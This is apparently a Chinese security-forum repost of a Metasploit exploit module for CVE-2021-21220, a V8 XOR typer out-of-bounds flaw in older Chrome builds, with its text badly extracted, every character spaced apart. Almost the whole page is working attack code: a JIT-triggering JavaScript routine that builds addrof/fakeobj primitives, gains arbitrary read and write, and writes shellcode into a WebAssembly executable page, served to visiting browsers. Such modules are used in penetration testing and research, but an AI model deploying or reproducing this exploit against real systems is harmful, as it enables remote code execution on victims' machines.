[28923] 2021-05-09_GoogleChromeXORTyper越界访问远程执行代码

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2021-05-09_GoogleChromeXORTyper越界访问远程执行代码 G o o g l e   C h r o m e   X O R   T y p e r 访 / O t s   2 0 2 1 - 0 5 - 0 9 J I T J a v a S c r i p t X O R M e t a s p l o i t 8 9 . 0 . 4 3 8 9 . 1 2 8 / 9 0 . 0 . 4 4 3 0 . 7 2 G o o g l e   C h r o m e   x 8 6 _ x 6 4 V 8 使 V 8 G o o g l e   C h r o m e V 8 使 - - n o - s a n d b o x 使 8 9 . 0 . 4 3 8 9 . 1 2 8 / 9 0 . 0 . 4 4 3 0 . 7 2 G o o g l e   C h r o m e   x 8 6 _ x 6 4 V 8 J I T J a v a S c r i p t X O R 使 V 8 G o o g l e   C h r o m e V 8 使 - - n o - s a n d b o x 使 h t t p s : / / c x s e c u r i t y . c o m / i s s u e / W L B - 2 0 2 1 0 5 0 0 1 3 h t t p s : / / p a c k e t s t o r m s e c u r i t y . c o m / f i l e s / 1 6 2 4 3 7 / G o o g l e - C h r o m e - X O R - T y p e r - O u t - O f - B o u n d s - A c c e s s - R e m o t e - C o d e - E x e c u t i o n . h t m l : h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k C h r o m e   C V E - 2 0 2 1 - 2 1 2 2 0 h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 2 6 9 6 2 9 . h t m l # # #   T h i s   m o d u l e   r e q u i r e s   M e t a s p l o i t :   h t t p s : / / m e t a s p l o i t . c o m / d o w n l o a d #   C u r r e n t   s o u r c e :   h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k #   8 9 . 0 . 4 3 8 9 . 1 2 8 / 9 0 . 0 . 4 4 3 0 . 7 2 G o o g l e   C h r o m e   x 8 6 _ x 6 4 V 8 #   J I T J a v a S c r i p t X O R 使 #   V 8 #   G o o g l e   C h r o m e V 8 使 #   - - n o - s a n d b o x 使 # # c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : E x p l o i t : : R e m o t e     R a n k   =   M a n u a l R a n k i n g     i n c l u d e   M s f : : P o s t : : F i l e     i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : H t t p S e r v e r     d e f   i n i t i a l i z e ( i n f o   =   { } )         s u p e r (             u p d a t e _ i n f o (                 i n f o ,                 ' N a m e '   = >   ' G o o g l e   C h r o m e   v e r s i o n s   b e f o r e   8 9 . 0 . 4 3 8 9 . 1 2 8   V 8   X O R   T y p e r   O u t - O f - B o u n d s   A c c e s s   R C E ' ,                 ' D e s c r i p t i o n '   = >   % q {                     T h i s   m o d u l e   e x p l o i t s   a n   i s s u e   i n   t h e   V 8   e n g i n e   o n   x 8 6 _ x 6 4   b u i l d s   o f   G o o g l e   C h r o m e   b e f o r e   8 9 . 0 . 4 3 8 9 . 1 2 8 / 9 0 . 0 . 4 4 3 0 . 7 2                     w h e n   h a n d l i n g   X O R   o p e r a t i o n s   i n   J I T ' d   J a v a S c r i p t   c o d e .   S u c c e s s f u l   e x p l o i t a t i o n   a l l o w s   a n   a t t a c k e r   t o   e x e c u t e                     a r b i t r a r y   c o d e   w i t h i n   t h e   c o n t e x t   o f   t h e   V 8   p r o c e s s .                     A s   t h e   V 8   p r o c e s s   i s   n o r m a l l y   s a n d b o x e d   i n   t h e   d e f a u l t   c o n f i g u r a t i o n   o f   G o o g l e   C h r o m e ,   t h e   b r o w s e r   m u s t   b e   r u n   w i t h   t h e                     - - n o - s a n d b o x   o p t i o n   f o r   t h e   p a y l o a d   t o   w o r k   c o r r e c t l y .                 } ,                 ' L i c e n s e '   = >   M S F _ L I C E N S E ,                 ' A u t h o r '   = >   [                     ' B r u n o   K e i t h   ( b k t h _ ) ' ,   #   V u l n e r a b i l i t y   D i s c o v e r y                     ' N i k l a s   B a u m s t a r k   ( _ n i k l a s b ) ' ,   #   V u l n e r a b i l t y   D i s c o v e r y                     ' R a j v a r d h a n   A g a r w a l   ( r 4 j 0 x 0 0 ) ' ,   #   e x p l o i t                     ' G r a n t   W i l l c o x   ( t e k w i z z 1 2 3 ) '   #   M e t a s p l o i t   M o d u l e                 ] ,                 ' R e f e r e n c e s '   = >   [                     [ ' C V E ' ,   ' 2 0 2 1 - 2 1 2 2 0 ' ] ,                     [ ' U R L ' ,   ' h t t p s : / / g i t h u b . c o m / r 4 j 0 x 0 0 / e x p l o i t s / t r e e / m a s t e r / c h r o m e - 0 d a y ' ] ,                     [ ' U R L ' ,   ' h t t p s : / / t w i t t e r . c o m / r 4 j 0 x 0 0 / s t a t u s / 1 3 8 2 1 2 5 7 2 0 3 4 4 7 9 3 0 9 0 ' ] ,                     [ ' U R L ' ,   ' h t t p s : / / b u g s . c h r o m i u m . o r g / p / c h r o m i u m / i s s u e s / d e t a i l ? i d = 1 1 9 6 6 8 3 ' ] ,   #   R e s t r i c t e d   a t   t h e   t i m e   o f   w r i t i n g ,   b u t   s h o u l d   b e   p u b l i c   a t   s o m e   p o i n t .                     [ ' U R L ' ,   ' h t t p s : / / w w w . z e r o d a y i n i t i a t i v e . c o m / a d v i s o r i e s / Z D I - 2 1 - 4 1 1 / ' ]                 ] ,                 ' A r c h '   = >   [   A R C H _ X 6 4   ] ,                 ' D e f a u l t T a r g e t '   = >   0 ,                 ' P a y l o a d '   = >                 {                     ' S p a c e '   = >   4 0 9 6                 } ,                 ' N o t e s '   = >                 {                     ' R e l i a b i l i t y '   = >   [   R E P E A T A B L E _ S E S S I O N   ] ,                     ' S i d e E f f e c t s '   = >   [   I O C _ I N _ L O G S   ]
                    ' S i d e E f f e c t s '   = >   [   I O C _ I N _ L O G S   ]                 } ,                 ' T a r g e t s '   = >                     [                         [ ' L i n u x   -   G o o g l e   C h r o m e   <   8 9 . 0 . 4 3 8 9 . 1 2 8 / 9 0 . 0 . 4 4 3 0 . 7 2   ( 6 4   b i t ) ' ,   {   ' P l a t f o r m '   = >   ' l i n u x '   } ] ,                         [ ' W i n d o w s   1 0   -   G o o g l e   C h r o m e   <   8 9 . 0 . 4 3 8 9 . 1 2 8 / 9 0 . 0 . 4 4 3 0 . 7 2   ( 6 4   b i t ) ' ,   {   ' P l a t f o r m '   = >   ' w i n '   } ] ,                         [ ' m a c O S   -   G o o g l e   C h r o m e   <   8 9 . 0 . 4 3 8 9 . 1 2 8 / 9 0 . 0 . 4 4 3 0 . 7 2   ( 6 4   b i t ) ' ,   {   ' P l a t f o r m '   = >   ' o s x '   } ] ,                     ] ,                 ' D i s c l o s u r e D a t e '   = >   ' 2 0 2 1 - 0 4 - 1 3 '             )         )     e n d     d e f   o n _ r e q u e s t _ u r i ( c l i ,   r e q u e s t )         p r i n t _ s t a t u s ( " S e n d i n g   # { r e q u e s t . u r i }   t o   # { r e q u e s t [ ' U s e r - A g e n t ' ] } " )         s h e l l c o d e   =   R e x : : T e x t . t o _ n u m ( p a y l o a d . e n c o d e d ) . g s u b ( / r n / ,   ' ' )         j s c r i p t   =   < < ~ J S             v a r   w a s m _ c o d e   =   n e w   U i n t 8 A r r a y ( [ 0 , 9 7 , 1 1 5 , 1 0 9 , 1 , 0 , 0 , 0 , 1 , 1 3 3 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 1 , 9 6 , 0 , 1 , 1 2 7 , 3 , 1 3 0 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 1 , 0 , 4 , 1 3 2 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 1 , 1 1 2 , 0 , 0 , 5 , 1 3 1 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 1 , 0 , 1 , 6 , 1 2 9 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 0 , 7 , 1 4 5 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 2 , 6 , 1 0 9 , 1 0 1 , 1 0 9 , 1 1 1 , 1 1 4 , 1 2 1 , 2 , 0 , 4 , 1 0 9 , 9 7 , 1 0 5 , 1 1 0 , 0 , 0 , 1 0 , 1 3 8 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 1 , 1 3 2 , 1 2 8 , 1 2 8 , 1 2 8 , 0 , 0 , 6 5 , 4 2 , 1 1 ] )             v a r   w a s m _ m o d   =   n e w   W e b A s s e m b l y . M o d u l e ( w a s m _ c o d e ) ;             v a r   w a s m _ i n s t a n c e   =   n e w   W e b A s s e m b l y . I n s t a n c e ( w a s m _ m o d ) ;             v a r   w a s m _ m a i n _ f u n c   =   w a s m _ i n s t a n c e . e x p o r t s . m a i n ;             v a r   b u f   =   n e w   A r r a y B u f f e r ( 8 ) ;             v a r   f 6 4 _ b u f   =   n e w   F l o a t 6 4 A r r a y ( b u f ) ;             v a r   u 6 4 _ b u f   =   n e w   U i n t 3 2 A r r a y ( b u f ) ;             v a r   s h e l l c o d e   =   n e w   U i n t 8 A r r a y ( [ # { s h e l l c o d e } ] ) ;             v a r   s h e l l b u f   =   n e w   A r r a y B u f f e r ( s h e l l c o d e . l e n g t h ) ;             v a r   d a t a v i e w   =   n e w   D a t a V i e w ( s h e l l b u f ) ;             f u n c t i o n   f t o i ( v a l )   {                 f 6 4 _ b u f [ 0 ]   =   v a l ;                 r e t u r n   B i g I n t ( u 6 4 _ b u f [ 0 ] )   +   ( B i g I n t ( u 6 4 _ b u f [ 1 ] )   < <   3 2 n ) ;             }             f u n c t i o n   i t o f ( v a l )   {                 u 6 4 _ b u f [ 0 ]   =   N u m b e r ( v a l   &   0 x f f f f f f f f n ) ;                 u 6 4 _ b u f [ 1 ]   =   N u m b e r ( v a l   > >   3 2 n ) ;                 r e t u r n   f 6 4 _ b u f [ 0 ] ;             }             c o n s t   _ a r r   =   n e w   U i n t 3 2 A r r a y ( [ 2 * * 3 1 ] ) ;             f u n c t i o n   f o o ( )   {                 v a r   x   =   1 ;                 x   =   ( _ a r r [ 0 ]   ^   0 )   +   1 ;                 x   =   M a t h . a b s ( x ) ;                 x   - =   0 x 7 F F F F F F F ;                 x   =   M a t h . m a x ( x ,   0 ) ;                 x   - =   1 ;                 i f ( x = = - 1 )   x   =   0 ;                 v a r   a r r   =   n e w   A r r a y ( x ) ;                 a r r . s h i f t ( ) ;                 v a r   c o r   =   [ 1 . 1 ,   1 . 2 ,   1 . 3 ] ;                 r e t u r n   [ a r r ,   c o r ] ;             }             f o r ( v a r   i = 0 ; i < 0 x 3 0 0 0 ; + + i )                 f o o ( ) ;             v a r   x   =   f o o ( ) ;             v a r   a r r   =   x [ 0 ] ;             v a r   c o r   =   x [ 1 ] ;             c o n s t   i d x   =   6 ;             a r r [ i d x + 1 0 ]   =   0 x 4 2 4 2 ;             i f   ( c o r . l e n g t h   = =   3 )   l o c a t i o n . r e l o a d ( ) ;             f u n c t i o n   a d d r o f ( k )   {                 a r r [ i d x + 1 ]   =   k ;                 r e t u r n   f t o i ( c o r [ 0 ] )   &   0 x f f f f f f f f n ;             }             f u n c t i o n   f a k e o b j ( k )   {                 c o r [ 0 ]   =   i t o f ( k ) ;                 r e t u r n   a r r [ i d x + 1 ] ;
            }             v a r   a r r 2   =   [ c o r [ 3 ] ,   1 . 2 ,   2 . 3 ,   3 . 4 ] ;             v a r   f a k e   =   f a k e o b j ( a d d r o f ( a r r 2 )   +   0 x 2 0 n ) ;             f u n c t i o n   a r b r e a d ( a d d r )   {                 i f   ( a d d r   %   2 n   = =   0 )   {                     a d d r   + =   1 n ;                 }                 a r r 2 [ 1 ]   =   i t o f ( ( 2 n   < <   3 2 n )   +   a d d r   -   8 n ) ;                 r e t u r n   ( f a k e [ 0 ] ) ;             }             f u n c t i o n   a r b w r i t e ( a d d r ,   v a l )   {                 i f   ( a d d r   %   2 n   = =   0 )   {                     a d d r   + =   1 n ;                 }                 a r r 2 [ 1 ]   =   i t o f ( ( 2 n   < <   3 2 n )   +   a d d r   -   8 n ) ;                 f a k e [ 0 ]   =   i t o f ( B i g I n t ( v a l ) ) ;             }             f u n c t i o n   c o p y _ s h e l l c o d e ( a d d r ,   s h e l l c o d e )   {                 l e t   b u f _ a d d r   =   a d d r o f ( s h e l l b u f ) ;                 l e t   b a c k i n g _ s t o r e _ a d d r   =   b u f _ a d d r   +   0 x 1 4 n ;                 a r b w r i t e ( b a c k i n g _ s t o r e _ a d d r ,   a d d r ) ;                 f o r   ( l e t   i   =   0 ;   i   <   s h e l l c o d e . l e n g t h ;   i + + )   {                     d a t a v i e w . s e t U i n t 8 ( i ,   s h e l l c o d e [ i ] ) ;                 }             }             v a r   r w x _ p a g e _ a d d r   =   f t o i ( a r b r e a d ( a d d r o f ( w a s m _ i n s t a n c e )   +   0 x 6 8 n ) ) ;             c o p y _ s h e l l c o d e ( r w x _ p a g e _ a d d r ,   s h e l l c o d e ) ;             w a s m _ m a i n _ f u n c ( ) ;         J S         h t m l   =   < < ~ H T M L             < h t m l >             < h e a d >             < s c r i p t >             # { j s c r i p t }             < / s c r i p t >             < / h e a d >             < b o d y >             < / b o d y >             < / h t m l >         H T M L         s e n d _ r e s p o n s e ( c l i ,   h t m l ,   {   ' C o n t e n t - T y p e '   = >   ' t e x t / h t m l ' ,   ' C a c h e - C o n t r o l '   = >   ' n o - c a c h e ,   n o - s t o r e ,   m u s t - r e v a l i d a t e ' ,   ' P r a g m a '   = >   ' n o - c a c h e ' ,   ' E x p i r e s '   = >   ' 0 '   } )     e n d e n d
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则